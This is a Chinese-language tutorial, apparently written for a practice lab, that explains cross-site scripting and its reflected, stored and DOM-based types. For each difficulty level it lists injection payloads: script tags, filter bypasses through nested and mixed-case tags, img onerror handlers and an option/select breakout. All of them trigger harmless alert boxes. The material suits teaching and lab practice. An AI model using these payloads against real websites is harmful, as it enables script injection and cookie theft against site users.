本文仅供学习,不支持一切以不法利益为目的的商业攻击
一.xss攻击原理
xss 是“跨站脚本攻击”,是一种注入攻击,当web应用对用户输入过滤的不严格时,攻击者写入恶意的脚本(CSS,HTML,JavaScript)到网页中时,如果访问了含有恶意代码的页面,恶意脚本就会被浏览器解析执行导致用户被攻击
二.常见xss危害
cookie窃取,session劫持,钓鱼攻击,蠕虫,ddos等。
二.xss分类
1.反射型xss
在地址栏URL参数中及网站搜索栏中,由于点击了包含恶意代码的URL才触发,并只能触发一次,也被称为“非持久性xss”,触发一次后失效
(1)low
在url末尾拼接:<script>alert(/xss/)</script>
(2)medium
在url末尾拼接:<scrip<script>t>alert(/xss/)</script>
在url末尾拼接:<img src=0 οnerrοr=alert(/xss1/)>
在url末尾拼接:<scRipt>alert(/xss2/)</sCript>
(3)high
在url末尾拼接::<img src=0 οnerrοr=alert(/xss/)>
(4)impossible
页面输入框输入:html转义字符如
2.存储型xss
一般出现在留言,评论处等需用户可以对网站写入数据的地方。
比如一个评论处对用户输入过滤不严格,导致攻击者在写入一段窃取cookie的恶意JavaScript代码到评论处,这段恶意代码会写入数据库,当其他用户浏览这个写入代码的页面时,网站从数据库中读取恶意代码显示到网页中被浏览器执行,导致用户cookie被窃取,攻击者无需受害者密码即可登录账户。所以也被称作“持久性xss”。
持久性xss比反射型xss危害要大的多。
(1)low
对需要用户输入的输入框输入:<script>alert(/xss/)</script>
输入框对输入字符有长度限制时可以通过burpsuite工具抓包改包数据绕过
(2)medium
对需要用户输入的输入框输入:<img src=
0
onerror
=
alert(
/
xss1
/
)>
对需要用户输入的输入框输入:<Script>alert(/xss2/)</sCript
对需要用户输入的输入框输入:<sc<script>ript>alert(/xss3/)</script>
(3)high
对需要用户输入的输入框输入:<img src=0 οnerrοr=alert(/xss/)>
3.dom型xss
前端脚本通过dom动态修改页面,由于不与服务端进行交互,而且代码是可见的,从前端获取dom中的数据在本地执行
(1)low
在url末尾拼接:<script>alert(1)</script>
(2)medium
在url末尾拼接:</option><select><img src='x' οnerrοr='alert(1)' >
(3)high
在url末尾拼接:#<script>alert(1)</script>
推荐web漏洞学习网站:https://www.kanxue.com/